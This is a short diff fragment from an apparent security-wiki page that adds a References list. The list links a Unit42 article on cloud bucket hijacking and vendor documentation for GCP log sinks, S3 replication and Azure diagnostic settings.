 confidential-computing/luks2-header-malleability-null-cipher-abuse.md
 {{#endref}}
 
+## References
+
+- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
+- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
+- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
+- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
+
 {{#include ../banners/hacktricks-training.md}}